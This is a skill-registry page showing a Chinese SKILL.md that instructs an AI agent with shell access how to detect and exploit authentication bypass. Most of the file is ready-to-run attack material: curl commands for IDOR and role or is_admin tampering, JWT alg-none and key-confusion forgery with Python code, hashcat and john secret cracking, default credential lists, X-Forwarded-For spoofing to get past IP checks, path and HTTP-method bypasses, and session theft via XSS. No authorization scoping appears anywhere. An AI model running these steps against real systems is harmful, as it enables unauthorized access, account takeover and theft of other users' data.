Skip to main content

auth-bypass

认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。

소스 정보

저장소
majiayu000/claude-skill-registry-data
최근 소스 활동
2026년 4월 21일 02:21
감지된 SKILL.md 언어
중국어
스타
23
포크
10

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
2 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
auth-bypass
description
认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。
allowed-tools
Bash, Read, Write
# 认证绕过 (Authentication Bypass) 绕过应用程序的认证和授权机制,获取未授权访问。 ## 常见指示器 - 登录/注册功能 - 用户 ID 参数(user_id=, uid=, id=) - JWT Token - Session Cookie - 角色/权限参数(role=, is_admin=, level=) - API 端点(/api/admin/, /api/user/) ## 检测方法 ### 1. IDOR 测试 ```bash # 修改用户 ID curl "http://target.com/api/user/1" -H "Cookie: session=xxx" curl "http://target.com/api/user/2" -H "Cookie: session=xxx" # 修改资源 ID curl "http://target.com/api/order/1001" -H "Cookie: session=xxx" curl "http://target.com/api/order/1002" -H "Cookie: session=xxx" ``` ### 2. 权限参数测试 ```bash # 修改角色参数 curl -X POST "http://target.com/api/profile" \ -H "Cookie: session=xxx" \ -d '{"name":"test","role":"admin"}' # 修改权限标志 curl -X POST "http://target.com/api/profile" \ -H "Cookie: session=xxx" \ -d '{"name":"test","is_admin":true}' ``` ## 攻击向量 ### IDOR (不安全的直接对象引用) ```bash # 水平越权 - 访问其他用户数据 /api/user/1 → /api/user/2 /api/order/1001 → /api/order/1002 /download?file=user1.pdf → /download?file=user2.pdf # 垂直越权 - 访问管理员功能 /api/user/profile → /api/admin/users /dashboard → /admin/dashboard # 参数污染 /api/user?id=1 → /api/user?id=1&id=2 /api/user?id[]=1 → /api/user?id[]=1&id[]=2 ``` ### 权限参数篡改 ```json // 修改角色 {"username":"test","role":"user"} → {"username":"test","role":"admin"} // 修改权限标志 {"username":"test","is_admin":false} → {"username":"test","is_admin":true} // 修改用户级别 {"username":"test","level":1} → {"username":"test","level":99} // 添加隐藏参数 {"username":"test"} → {"username":"test","admin":true} ``` ### JWT 攻击 ```bash # 1. 修改算法为 none # Header: {"alg":"none","typ":"JWT"} # 移除签名部分 # 2. 修改算法 RS256 → HS256 # 使用公钥作为 HMAC 密钥签名 # 3. 弱密钥爆破 hashcat -a 0 -m 16500 jwt.txt wordlist.txt john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256 # 4. 修改 payload # 解码 → 修改 user_id/role → 重新编码 ``` ### Session 攻击 ```bash # Session 固定 # 1. 获取未认证 session # 2. 诱导用户使用该 session 登录 # 3. 使用同一 session 访问 # Session 预测 # 分析 session 生成规律,预测有效 session # Session 劫持 # 通过 XSS 窃取 session cookie ``` ### 默认凭据 ``` admin:admin admin:password admin:123456 root:root root:toor test:test guest:guest user:user administrator:administrator ``` ### HTTP 方法绕过 ```bash # 尝试不同 HTTP 方法 curl -X GET "http://target.com/admin" curl -X POST "http://target.com/admin" curl -X PUT "http://target.com/admin" curl -X DELETE "http://target.com/admin" curl -X PATCH "http://target.com/admin" curl -X OPTIONS "http://target.com/admin" curl -X HEAD "http://target.com/admin" # 方法覆盖 curl -X POST "http://target.com/admin" -H "X-HTTP-Method-Override: PUT" curl -X POST "http://target.com/admin" -H "X-Method-Override: PUT" ``` ### 路径绕过 ```bash # 大小写 /admin → /Admin → /ADMIN # 路径遍历 /admin → /./admin → /../admin/ # URL 编码 /admin → /%61%64%6d%69%6e # 双斜杠 /admin → //admin → /admin// # 添加扩展名 /admin → /admin.json → /admin.html # 添加参数 /admin → /admin?anything → /admin#anything ``` ## JWT 工具使用 ### jwt_tool ```bash # 解码 JWT python3 jwt_tool.py <JWT> # 测试所有攻击 python3 jwt_tool.py <JWT> -M at # 修改 payload python3 jwt_tool.py <JWT> -T # 爆破密钥 python3 jwt_tool.py <JWT> -C -d wordlist.txt ``` ### 手动 JWT 操作 ```python import base64 import json # 解码 def decode_jwt(token): parts = token.split('.') header = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) return header, payload # 编码 (无签名) def encode_jwt_none(payload): header = {"alg": "none", "typ": "JWT"} h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=') p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=') return f"{h.decode()}.{p.decode()}." ``` ## 绕过技术 ### 前端验证绕过 ```bash # 直接调用 API,绕过前端检查 curl "http://target.com/api/admin/users" -H "Cookie: session=xxx" # 修改响应中的权限标志 # 使用 Burp 修改响应: {"is_admin":false} → {"is_admin":true} ``` ### IP 限制绕过 ```bash # 添加 IP 头 X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 ``` ### Referer 检查绕过 ```bash # 添加 Referer 头 Referer: http://target.com/admin Referer: http://target.com/ # 空 Referer Referer: ``` ## 最佳实践 1. 先枚举所有 API 端点和参数 2. 测试 IDOR:修改 ID 参数访问其他用户数据 3. 测试权限参数:添加 role、is_admin 等参数 4. 分析 JWT/Session:尝试修改或伪造 5. 尝试不同 HTTP 方法和路径变形 6. 检查前端 JS 中的隐藏 API 和参数 7. 使用 Burp 拦截并修改请求/响应
GitHub에서 보기